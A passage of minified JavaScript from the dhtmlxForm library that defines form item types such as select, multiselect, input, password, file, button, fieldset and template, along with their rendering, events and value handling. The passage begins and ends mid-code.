{doAddLabel:1,doAddInput:1,doDestruct:1,doUnloadNestedLists:1,doAttachEvents:1,check:1,unCheck:1,isChecked:1,enable:1,disable:1,isEnabled:1,setText:1,getText:1,getValue:1,setReadonly:1,isReadonly:1,setFocus:1}){dhtmlXForm.prototype.items.radio[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.select={render:function(a,c){a._type=\"se\";a._enabled=true;a._value=null;a._newValue=null;this.doAddLabel(a,c);this.doAddInput(a,c,\"SELECT\",null,true,true,\"dhxform_select\");this.doAttachEvents(a);this.doLoadOpts(a,c);if(c.connector!=null){this.doLoadOptsConnector(a,c.connector)}if(typeof(c.value)!=\"undefined\"&&c.value!=null){this.setValue(a,c.value)}return this},destruct:function(a){this.doUnloadNestedLists(a);a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._enabled=null;a._idd=null;a._type=null;a._value=null;a._newValue=null;a.onselectstart=null;a.childNodes[a._ll?1:0].childNodes[0].onclick=null;a.childNodes[a._ll?1:0].childNodes[0].onkeydown=null;a.childNodes[a._ll?1:0].childNodes[0].onchange=null;a.childNodes[a._ll?1:0].childNodes[0].onfocus=null;a.childNodes[a._ll?1:0].childNodes[0].onblur=null;a.childNodes[a._ll?1:0].childNodes[0].onkeyup=null;a.childNodes[a._ll?1:0].removeChild(a.childNodes[a._ll?1:0].childNodes[0]);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},doAddLabel:function(c,e){var a=document.createElement(\"DIV\");a.className=\"dhxform_label \"+e.labelAlign;a.innerHTML=\"<label for='\"+e.uid+\"'>\"+e.label+(e.info?\"<span class='dhxform_info'>[?]</span>\":\"\")+(c._required?\"<span class='dhxform_item_required'>*</span>\":\"\")+\"</label>\";if(e.wrap==true){a.style.whiteSpace=\"normal\"}if(typeof(e.tooltip)!=\"undefined\"){a.title=e.tooltip}c.appendChild(a);if(typeof(e.label)==\"undefined\"||e.label==null||e.label.length==0){a.style.display=\"none\"}if(!isNaN(e.labelWidth)){a.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}if(e.info){a.onclick=function(h){h=h||event;var g=h.target||h.srcElement;if(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_info\"){this.parentNode.callEvent(\"onInfo\",[this.parentNode._idd,h]);h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}}}},doAttachEvents:function(e){var a=e.childNodes[e._ll?1:0].childNodes[0];var c=this;a.onclick=function(){c.doOnChange(this)};a.onkeydown=function(g){g=g||event;c.doOnChange(this);this.parentNode.parentNode.callEvent(\"onKeyDown\",[this,g,this.parentNode.parentNode._idd])};a.onchange=function(){c.doOnChange(this)};a.onkeyup=function(g){g=g||event;this.parentNode.parentNode.callEvent(\"onKeyUp\",[this,g,this.parentNode.parentNode._idd])};a=null;this.doAttachChangeLS(e)},doAttachChangeLS:function(c){var a=c.childNodes[c._ll?1:0].childNodes[0];a.onfocus=function(){var e=this.parentNode.parentNode;e.getForm()._ccActivate(e._idd,this,e.getForm().getItemValue(e._idd,true));e.getForm().callEvent(\"onFocus\",[e._idd]);e=null};a.onblur=function(){var e=this.parentNode.parentNode;e.getForm()._ccDeactivate(e._idd);e.getForm().callEvent(\"onBlur\",[e._idd]);e=null};a=null},doValidate:function(a){if(a.getForm().live_validate){this._validate(a)}},doLoadOpts:function(m,h,o){var n=m.childNodes[m._ll?1:0].childNodes[0];var a=h.options;var g=false;for(var c=0;c<a.length;c++){var l=a[c].text||a[c].label;if(!l||typeof(l)==\"undefined\"){l=\"\"}var e=new Option(l,a[c].value);if(typeof(a[c].img_src)==\"string\"){e.setAttribute(\"img_src\",a[c].img_src)}n.options.add(e);if(typeof(a[c].selected)!=\"undefined\"&&window.dhx4.s2b(a[c].selected)==true){e.selected=true;m._value=a[c].value;g=true}if(typeof(a[c].checked)!=\"undefined\"&&window.dhx4.s2b(a[c].checked)==true){e.setAttribute(\"checked\",\"1\")}if(typeof(a[c].img)!=\"undefined\"){e.setAttribute(\"img\",a[c].img)}if(typeof(a[c].img_dis)!=\"undefined\"){e.setAttribute(\"img_dis\",a[c].img_dis)}if(typeof(a[c].css)!=\"undefined\"){e.setAttribute(\"css\",a[c].css)}}if(!g&&n.selectedIndex>=0){m._value=n.options[n.selectedIndex].value}if(o===true){m.callEvent(\"onOptionsLoaded\",[m._idd])}this._checkNoteWidth(m)},doLoadOptsConnector:function(e,a){var c=this;e._connector_working=true;window.dhx4.ajax.get(a,function(m){m=m.xmlDoc.responseXML;if(m==null){return}var g=m.getElementsByTagName(\"data\");if(g==null||g[0]==null){return}g=g[0];var l=[];for(var n=0;n<g.childNodes.length;n++){if(typeof(g.childNodes[n].tagName)!=\"undefined\"&&String(g.childNodes[n].tagName).toLowerCase()==\"item\"){var h=g.childNodes[n];l.push({label:h.getAttribute(\"label\"),value:h.getAttribute(\"value\"),selected:(h.getAttribute(\"selected\")!=null)});h=null}}c.doLoadOpts(e,{options:l},true);e._connector_working=false;if(e._connector_value!=null){c.setValue(e,e._connector_value);e._connector_value=null}c=e=null})},doOnChange:function(e){var a=e.parentNode.parentNode;a._newValue=(e.selectedIndex>=0?e.options[e.selectedIndex].value:null);if(a._newValue!=a._value){if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,a._value,a._newValue])!==true){for(var c=0;c<e.options.length;c++){if(e.options[c].value==a._value){e.options[c].selected=true}}return}}a._value=a._newValue;a.callEvent(\"onChange\",[a._idd,a._value]);if(a._type==\"se\"&&a.getForm().live_validate){this._validate(a)}}a._autoCheck()},setText:function(a,c){if(!c){c=\"\"}a.childNodes[a._ll?0:1].childNodes[0].innerHTML=c+(a._required?\"<span class='dhxform_item_required'>*</span>\":\"\");a.childNodes[a._ll?0:1].style.display=(c.length==0||c==null?\"none\":\"\")},getText:function(a){return a.childNodes[a._ll?0:1].childNodes[0].innerHTML.replace(/<span class=\\\"dhxform_item_required\\\">[^<]*<\\/span>/g,\"\")},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[a._ll?1:0].childNodes[0].removeAttribute(\"disabled\")},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a.childNodes[a._ll?1:0].childNodes[0].setAttribute(\"disabled\",true)},getOptions:function(a){return a.childNodes[a._ll?1:0].childNodes[0].options},setValue:function(c,g){if(c._connector_working){c._connector_value=g;return}var a=this.getOptions(c);for(var e=0;e<a.length;e++){if(a[e].value==g){a[e].selected=true;c._value=a[e].value}}if(c._list!=null&&c._list.length>0){c.getForm()._autoCheck()}c.getForm()._ccReload(c._idd,c._value)},getValue:function(e){var a=-1;var c=this.getOptions(e);for(var g=0;g<c.length;g++){if(c[g].selected){a=c[g].value}}return a},setWidth:function(c,a){c.childNodes[c._ll?1:0].childNodes[0].style.width=a+\"px\"},getSelect:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},setFocus:function(a){a.childNodes[a._ll?1:0].childNodes[0].focus()},_checkNoteWidth:function(c){var a;if(c.childNodes[c._ll?1:0].childNodes[1]!=null){a=c.childNodes[c._ll?1:0].childNodes[1];if(a.className!=null&&a.className.search(/dhxform_note/gi)>=0&&a._w==\"auto\"){a.style.width=c.childNodes[c._ll?1:0].childNodes[0].offsetWidth+\"px\"}}a=null}};(function(){for(var c in {doAddInput:1,doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.select[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.multiselect={doLoadOpts:function(g,l,m){var c=g.childNodes[g._ll?1:0].childNodes[0];c.multiple=true;if(!isNaN(l.size)){c.size=Number(l.size)}g._value=[];g._newValue=[];var e=l.options;for(var h=0;h<e.length;h++){var a=new Option(e[h].text||e[h].label,e[h].value);c.options.add(a);if(e[h].selected==true||e[h].selected==\"true\"){a.selected=true;g._value.push(e[h].value)}}if(m===true){g.callEvent(\"onOptionsLoaded\",[g._idd])}this._checkNoteWidth(g)},doAttachEvents:function(e){var a=e.childNodes[e._ll?1:0].childNodes[0];var c=this;a.onfocus=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g.getForm().callEvent(\"onFocus\",[g._idd]);g=null};a.onblur=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g.getForm().callEvent(\"onBlur\",[g._idd]);g=null};a.onclick=function(){c.doOnChange(this);var g=this.parentNode.parentNode;g._autoCheck();g=null}},doOnChange:function(g){var c=g.parentNode.parentNode;c._newValue=[];for(var e=0;e<g.options.length;e++){if(g.options[e].selected){c._newValue.push(g.options[e].value)}}if((c._value).sort().toString()!=(c._newValue).sort().toString()){if(c.checkEvent(\"onBeforeChange\")){if(c.callEvent(\"onBeforeChange\",[c._idd,c._value,c._newValue])!==true){var a={};for(var e=0;e<c._value.length;e++){a[c._value[e]]=true}for(var e=0;e<g.options.length;e++){g.options[e].selected=(a[g.options[e].value]==true)}a=null;return}}c._value=[];for(var e=0;e<c._newValue.length;e++){c._value.push(c._newValue[e])}c.callEvent(\"onChange\",[c._idd,c._value])}c._autoCheck()},setValue:function(e,h){var a={};if(typeof(h)==\"string\"){h=h.split(\",\")}if(typeof(h)!=\"object\"){h=[h]}for(var g=0;g<h.length;g++){a[h[g]]=true}var c=this.getOptions(e);for(var g=0;g<c.length;g++){c[g].selected=(a[c[g].value]==true)}e._autoCheck()},getValue:function(e){var a=[];var c=this.getOptions(e);for(var g=0;g<c.length;g++){if(c[g].selected){a.push(c[g].value)}}return a}};(function(){for(var c in dhtmlXForm.prototype.items.select){if(!dhtmlXForm.prototype.items.multiselect[c]){dhtmlXForm.prototype.items.multiselect[c]=dhtmlXForm.prototype.items.select[c]}}})();dhtmlXForm.prototype.items.input={render:function(l,m){var h=(!isNaN(m.rows));l._type=\"ta\";l._enabled=true;this.doAddLabel(l,m);this.doAddInput(l,m,(h?\"TEXTAREA\":\"INPUT\"),(h?null:\"TEXT\"),true,true,\"dhxform_textarea\");this.doAttachEvents(l);if(h){l.childNodes[l._ll?1:0].childNodes[0].rows=Number(m.rows)+(window.dhx4.isIE6?1:0)}if(typeof(m.numberFormat)!=\"undefined\"){var g,e=null,n=null;if(typeof(m.numberFormat)!=\"string\"){g=m.numberFormat[0];e=m.numberFormat[1]||null;n=m.numberFormat[2]||null}else{g=m.numberFormat;if(typeof(m.groupSep)==\"string\"){e=m.groupSep}if(typeof(m.decSep)==\"string\"){n=m.decSep}}this.setNumberFormat(l,g,e,n,false)}this.setValue(l,m.value);return this},doAttachEvents:function(c){var a=this;if(c._type==\"ta\"||c._type==\"se\"||c._type==\"pw\"){c.childNodes[c._ll?1:0].childNodes[0].onfocus=function(){var e=this.parentNode.parentNode;if(e._df!=null){this.value=e._value||\"\"}e.getForm()._ccActivate(e._idd,this,this.value);e.getForm().callEvent(\"onFocus\",[e._idd]);e=null}}c.childNodes[c._ll?1:0].childNodes[0].onblur=function(){var e=this.parentNode.parentNode;e.getForm()._ccDeactivate(e._idd);a.updateValue(e,true);if(e.getForm().live_validate){a._validate(e)}e.getForm().callEvent(\"onBlur\",[e._idd]);e=null}},updateValue:function(h,a){var l=h.childNodes[h._ll?1:0].childNodes[0].value;var g=h.getForm();var c=(g._ccActive==true&&g._formLS!=null&&g._formLS[h._idd]!=null);g=null;if(!c&&h._df!=null&&l==window.dhx4.template._getFmtValue(h._value,h._df)){return}if(!a&&h._df!=null&&h._value==l&&l==window.dhx4.template._getFmtValue(l,h._df)){return}var e=this;if(h._value!=l){if(h.checkEvent(\"onBeforeChange\")){if(h.callEvent(\"onBeforeChange\",[h._idd,h._value,l])!==true){if(h._df!=null){e.setValue(h,h._value)}else{h.childNodes[h._ll?1:0].childNodes[0].value=h._value}return}}if(h._df!=null&&a){e.setValue(h,l)}else{h._value=l}h.callEvent(\"onChange\",[h._idd,l]);return}if(h._df!=null&&a){this.setValue(h,h._value)}},setValue:function(e,g){e._value=(typeof(g)!=\"undefined\"&&g!=null?g:\"\");var c=(String(e._value)||\"\");var a=e.childNodes[e._ll?1:0].childNodes[0];if(e._df!=null){c=window.dhx4.template._getFmtValue(c,e._df)}if(a.value!=c){a.value=c;e.getForm()._ccReload(e._idd,c)}a=null},getValue:function(a){var c=a.getForm();if(c._formLS&&c._formLS[a._idd]!=null){this.updateValue(a)}c=null;return(typeof(a._value)!=\"undefined\"&&a._value!=null?a._value:\"\")},setReadonly:function(a,c){a._ro=(c===true);if(a._ro){a.childNodes[a._ll?1:0].childNodes[0].setAttribute(\"readOnly\",\"true\")}else{a.childNodes[a._ll?1:0].childNodes[0].removeAttribute(\"readOnly\")}},isReadonly:function(a){if(!a._ro){a._ro=false}return a._ro},getInput:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},setNumberFormat:function(g,h,e,l,c){if(typeof(c)!=\"boolean\"){c=true}if(h==\"\"){g._df=null;if(c){this.setValue(g,g._value)}return true}if(typeof(h)!=\"string\"){return}var a=window.dhx4.template._parseFmt(h,e,l);if(a==false){return false}else{g._df=a}if(c){this.setValue(g,g._value)}return true}};(function(){for(var c in {doAddLabel:1,doAddInput:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setFocus:1}){dhtmlXForm.prototype.items.input[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype.items.password={render:function(a,c){a._type=\"pw\";a._enabled=true;this.doAddLabel(a,c);this.doAddInput(a,c,\"INPUT\",\"PASSWORD\",true,true,\"dhxform_textarea\");this.doAttachEvents(a);this.setValue(a,c.value);return this}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doAttachEvents:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,setValue:1,getValue:1,updateValue:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.password[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.file={render:function(e,g){e._type=\"fl\";e._enabled=true;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"FILE\",true,false,\"dhxform_textarea\");var a=e.childNodes[e._ll?1:0].childNodes[0];var c=this;a.onfocus=function(){var h=this.parentNode.parentNode;h.getForm().callEvent(\"onFocus\",[h._idd]);h=null};a.onblur=function(){var h=this.parentNode.parentNode;if(h.getForm().live_validate){c._validate(h)}h.getForm().callEvent(\"onBlur\",[h._idd]);h=null};a=null;e.childNodes[e._ll?1:0].childNodes[0].onchange=function(){e.callEvent(\"onChange\",[e._idd,this.value])};return this},setValue:function(){},getValue:function(a){return a.childNodes[a._ll?1:0].childNodes[0].value}};(function(){for(var c in {doAddLabel:1,doAddInput:1,destruct:1,doUnloadNestedLists:1,setText:1,getText:1,getInput:1,enable:1,disable:1,isEnabled:1,setWidth:1}){dhtmlXForm.prototype.items.file[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.label={_index:false,render:function(c,e){c._type=\"lb\";c._enabled=true;c._checked=true;var a=document.createElement(\"DIV\");a.className=\"dhxform_txt_label2\"+(e._isTopmost?\" topmost\":\"\");a.innerHTML=e.label;c.appendChild(a);if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(!isNaN(e.labelWidth)){a.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}return this},destruct:function(a){this.doUnloadNestedLists(a);a._autoCheck=null;a._enabled=null;a._type=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;a.onselectstart=null;a.parentNode.removeChild(a);a=null},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false},setText:function(a,c){a.firstChild.innerHTML=c},getText:function(a){return a.firstChild.innerHTML}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.label[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.button={render:function(c,e){c._type=\"bt\";c._enabled=true;c._name=e.name;c.className=String(c.className).replace(\"item_label_top\",\"item_label_left\").replace(\"item_label_right\",\"item_label_left\");c._doOnKeyUpDown=function(h,g){this.callEvent(h,[this.childNodes[0].childNodes[0],g,this._idd])};c.innerHTML='<div class=\"dhxform_btn\" role=\"link\" tabindex=\"0\" dir=\"ltr\"><div class=\"dhxform_btn_txt\">'+e.value+'</div><div class=\"dhxform_btn_filler\" disabled=\"true\"></div></div>';if(!isNaN(e.width)){var a=Math.max(e.width,10);if(dhtmlXForm.prototype.items[this.t]._dim==null){c.firstChild.style.width=a+\"px\";dhtmlXForm.prototype.items[this.t]._dim=c.getForm()._checkDim(c,c.firstChild)}c.firstChild.style.width=a-dhtmlXForm.prototype.items[this.t]._dim+\"px\";c.firstChild.firstChild.className+=\" dhxform_btn_txt_autowidth\"}if(!isNaN(e.inputLeft)){c.childNodes[0].style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){c.childNodes[0].style.top=parseInt(e.inputTop)+\"px\"}if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(typeof(e.tooltip)!=\"undefined\"){c.firstChild.title=e.tooltip}c.onselectstart=function(g){g=g||event;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};c.firstChild.onselectstart=function(g){g=g||event;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false};c.firstChild.onkeypress=function(g){g=g||event;if((g.keyCode==32||g.charCode==32||g.keyCode==13||g.charCode==13)&&!this.parentNode._busy){this.parentNode._busy=true;g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}_dhxForm_doClick(this.childNodes[0],[\"mousedown\",\"mouseup\"]);return false}};c.firstChild.onfocus=function(){this.parentNode._doOnFocus(this.parentNode)};c.firstChild.onblur=function(){_dhxForm_doClick(this.childNodes[0],\"mouseout\");this.parentNode._doOnBlur(this.parentNode)};c.firstChild.onkeyup=function(g){this.parentNode._doOnKeyUpDown(\"onKeyUp\",g||event)};c.firstChild.onkeydown=function(g){this.parentNode._doOnKeyUpDown(\"onKeyDown\",g||event)};c.firstChild.onmouseover=function(){var g=this.parentNode;if(!g._enabled){return}this._isOver=true;this.className=\"dhxform_btn dhxform_btn_over\";g=null};c.firstChild.onmouseout=function(){var g=this.parentNode;if(!g._enabled){return}this.className=\"dhxform_btn\";this._allowClick=false;this._pressed=false;this._isOver=false;g=null};c.firstChild.ontouchstart=c.firstChild.onmousedown=function(h){h=h||event;if(h.type==\"touchstart\"&&h.preventDefault){h.preventDefault()}if(h.button>=2){return}if(this._pressed){return}var g=this.parentNode;if(!g._enabled){return}this.className=\"dhxform_btn dhxform_btn_pressed\";this._allowClick=true;this._pressed=true;g=null};c.firstChild.ontouchend=c.firstChild.onmouseup=function(h){h=h||event;if(h.button>=2){return}if(!this._pressed){return}var g=this.parentNode;if(!g._enabled){return}g._busy=false;this.className=\"dhxform_btn\"+(this._isOver?\" dhxform_btn_over\":\"\");if(this._pressed&&this._allowClick){g.callEvent(\"_onButtonClick\",[g._name,g._cmd])}this._allowClick=false;this._pressed=false;g=null};c._doOnFocus=function(g){g.getForm().callEvent(\"onFocus\",[g._idd])};c._doOnBlur=function(g){g.getForm().callEvent(\"onBlur\",[g._idd])};return this},destruct:function(a){this.doUnloadNestedLists(a);a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._type=null;a._enabled=null;a._cmd=null;a._name=null;a._doOnFocus=null;a._doOnBlur=null;a._doOnKeyUpDown=null;a.onselectstart=null;a.firstChild.onselectstart=null;a.firstChild.onkeypress=null;a.firstChild.ontouchstart=null;a.firstChild.ontouchend=null;a.firstChild.onfocus=null;a.firstChild.onblur=null;a.firstChild.onkeyup=null;a.firstChild.onkeydown=null;a.firstChild.onmouseover=null;a.firstChild.onmouseout=null;a.firstChild.onmousedown=null;a.firstChild.onmouseup=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[0].removeAttribute(\"disabled\");a.childNodes[0].setAttribute(\"role\",\"link\");a.childNodes[0].setAttribute(\"tabIndex\",\"0\")},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a.childNodes[0].setAttribute(\"disabled\",\"true\");a.childNodes[0].removeAttribute(\"role\");a.childNodes[0].removeAttribute(\"tabIndex\")},setText:function(a,c){a.childNodes[0].childNodes[0].innerHTML=c},getText:function(a){return a.childNodes[0].childNodes[0].innerHTML},setFocus:function(a){a.childNodes[0].focus()}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.button[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.hidden={_index:false,render:function(c,e){c.style.display=\"none\";c._name=e.name;c._type=\"hd\";c._enabled=true;var a=document.createElement(\"INPUT\");a.type=\"HIDDEN\";a.name=e.name;a.value=(e.value||\"\");c.appendChild(a);return this},destruct:function(a){this.doUnloadNestedLists(a);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a._autoCheck=null;a._name=null;a._type=null;a._enabled=null;a.onselectstart=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;a.parentNode.removeChild(a);a=null},enable:function(a){a._enabled=true;a.childNodes[0].setAttribute(\"name\",a._name)},disable:function(a){a._enabled=false;a.childNodes[0].removeAttribute(\"name\")},show:function(){},hide:function(){},isHidden:function(){return true},setValue:function(a,c){a.childNodes[0].value=c},getValue:function(a){return a.childNodes[0].value},getInput:function(a){return a.childNodes[0]}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.hidden[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.list={_index:false,render:function(a,c){a._type=\"list\";a._enabled=true;a._isNestedForm=true;a.style.paddingLeft=a._ofsNested+\"px\";a.className=\"dhxform_base_nested\"+(a._custom_css||\"\");return[this,new dhtmlXForm(a,null,c)]},destruct:function(a){}};dhtmlXForm.prototype.items.fieldset={_index:false,render:function(c,g){c._type=\"fs\";if(typeof(parseInt(g.inputWidth))==\"number\"){}c._width=g.width;c._enabled=true;c._checked=true;c.className=\"fs_\"+g.position+(typeof(g.className)==\"string\"?\" \"+g.className:\"\");var e=document.createElement(\"FIELDSET\");e.className=\"dhxform_fs\";var h=String(g.labelAlign).replace(\"align_\",\"\");e.innerHTML=\"<legend class='fs_legend' align='\"+h+\"' style='text-align:\"+h+\"'>\"+g.label+\"</legend>\";c.appendChild(e);if(!isNaN(g.inputLeft)){e.style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){e.style.top=parseInt(g.inputTop)+\"px\"}if(g.inputWidth!=\"auto\"){if(!isNaN(g.inputWidth)){e.style.width=parseInt(g.inputWidth)+\"px\";var a=parseInt(e.style.width);if(e.offsetWidth>a){e.style.width=a+(a-e.offsetWidth)+\"px\"}}}c._addSubListNode=function(){var l=document.createElement(\"DIV\");l._custom_css=\" dhxform_fs_nested\";this.childNodes[0].appendChild(l);return l};if(g.hidden==true){this.hide(c)}if(g.disabled==true){this.userDisable(c)}return this},destruct:function(a){this.doUnloadNestedLists(a);a._checked=null;a._enabled=null;a._idd=null;a._type=null;a._width=null;a.onselectstart=null;a._addSubListNode=null;a._autoCheck=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},setText:function(a,c){a.childNodes[0].childNodes[0].innerHTML=c},getText:function(a){return a.childNodes[0].childNodes[0].innerHTML},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}},setWidth:function(c,a){c.childNodes[0].style.width=a+\"px\";c._width=a},getWidth:function(a){return a._width}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.fieldset[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.block={_index:false,render:function(c,e){c._type=\"bl\";c._width=e.width;c._enabled=true;c._checked=true;c.className=\"block_\"+e.position+(typeof(e.className)==\"string\"?\" \"+e.className:\"\");var a=document.createElement(\"DIV\");a.className=\"dhxform_obj_\"+c.getForm().skin+\" dhxform_block\";a.style.fontSize=c.getForm().cont.style.fontSize;if(e.style){a.style.cssText=e.style}if(typeof(e.id)!=\"undefined\"){a.id=e.id}c.appendChild(a);if(!isNaN(e.inputLeft)){a.style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){a.style.top=parseInt(e.inputTop)+\"px\"}if(e.inputWidth!=\"auto\"){if(!isNaN(e.inputWidth)){a.style.width=parseInt(e.inputWidth)+\"px\"}}if(!isNaN(e.blockOffset)){c._ofsNested=e.blockOffset}c._addSubListNode=function(){var g=document.createElement(\"DIV\");g._inBlcok=true;if(typeof(this._ofsNested)!=\"undefined\"){g._ofsNested=this._ofsNested}this.childNodes[0].appendChild(g);return g};if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}return this},_setCss:function(a,e,c){a.firstChild.className=\"dhxform_obj_\"+e+\" dhxform_block\";a.firstChild.style.fontSize=c}};(function(){for(var c in {enable:1,disable:1,isEnabled:1,setWidth:1,getWidth:1,doUnloadNestedLists:1,destruct:1}){dhtmlXForm.prototype.items.block[c]=dhtmlXForm.prototype.items.fieldset[c]}})();dhtmlXForm.prototype.items.newcolumn={_index:false};dhtmlXForm.prototype.items.template={render:function(c,e){var a=(!isNaN(e.rows));c._type=\"tp\";c._enabled=true;if(e.format!=null){if(typeof(e.format)==\"function\"){c.format=e.format}else{if(typeof(e.format)==\"string\"&&typeof(window[e.format])==\"function\"){c.format=window[e.format]}}}if(c.format==null){c.format=function(g,h){return h}}this.doAddLabel(c,e);this.doAddInput(c,e,\"DIV\",null,true,true,\"dhxform_item_template\");this.setValue(c,e.value||\"\");return this},destruct:function(a){a.format=null;this.d2(a);a=null},setValue:function(a,c){a._value=c;a.childNodes[a._ll?1:0].childNodes[0].innerHTML=a.format(a._idd,a._value)},getValue:function(a){return a._value},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false}};(function(){dhtmlXForm.prototype.items.template.d2=dhtmlXForm.prototype.items.input.destruct;for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,isEnabled:1,setWidth:1}){dhtmlXForm.prototype.items.template[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype._ulToObject=function(l,r){var m=[];for(var c=0;c<l.childNodes.length;c++){if(String(l.childNodes[c].tagName||\"\").toLowerCase()==\"li\"){var g={};var u=l.childNodes[c];for(var s=0;s<r.length;s++){if(u.getAttribute(r[s])!=null){g[String(r[s]).replace(\"ftype\",\"type\")]=u.getAttribute(r[s])}}if(!g.label){try{g.label=u.firstChild.nodeValue}catch(o){}}var h=u.getElementsByTagName(\"UL\");if(h[0]!=null){g[(g.type==\"select\"?\"options\":\"list\")]=dhtmlXForm.prototype._ulToObject(h[0],r)}for(var s=0;s<u.childNodes.length;s++){if(String(u.childNodes[s].tagName||\"\").toLowerCase()==\"userdata\"){if(!g.userdata){g.userdata={}}g.userdata[u.childNodes[s].getAttribute(\"name\")]=u.childNodes[s].firstChild.nodeValue}}m[m.length]=g}if(String(l.childNodes[c].tagName||\"\").toLowerCase()==\"div\"){var g={};g.type=\"label\";try{g.label=l.childNodes[c].firstChild.nodeValue}catch(o){}m[m.length]=g}}return m};dhtmlXForm.prototype.setUserData=function(h,e,g,a){if(typeof(a)!=\"undefined\"){var c=this.doWithItem([h,e],\"_getId\");if(c!=null){h=c;e=g;g=a}}if(!this._userdata){this._userdata={}}this._userdata[h]=(this._userdata[h]||{});this._userdata[h][e]=g};dhtmlXForm.prototype.getUserData=function(g,e,a){if(typeof(a)!=\"undefined\"){var c=this.doWithItem([g,e],\"_getId\");if(c!=null){g=c;e=a}}if(this._userdata!=null&&typeof(this._userdata[g])!=\"undefined\"&&typeof(this._userdata[g][e])!=\"undefined\"){return this._userdata[g][e]}return\"\"};dhtmlXForm.prototype.setRTL=function(a){this._rtl=(a===true?true:false);if(this._rtl){if(String(this.cont).search(/dhxform_rtl/gi)<0){this.cont.className+=\" dhxform_rtl\"}}else{if(String(this.cont).search(/dhxform_rtl/gi)>=0){this.cont.className=String(this.cont.className).replace(/dhxform_rtl/gi,\"\")}}};_dhxForm_doClick=function(h,c){if(typeof(c)==\"object\"){var a=c[1];c=c[0]}if(document.createEvent){var 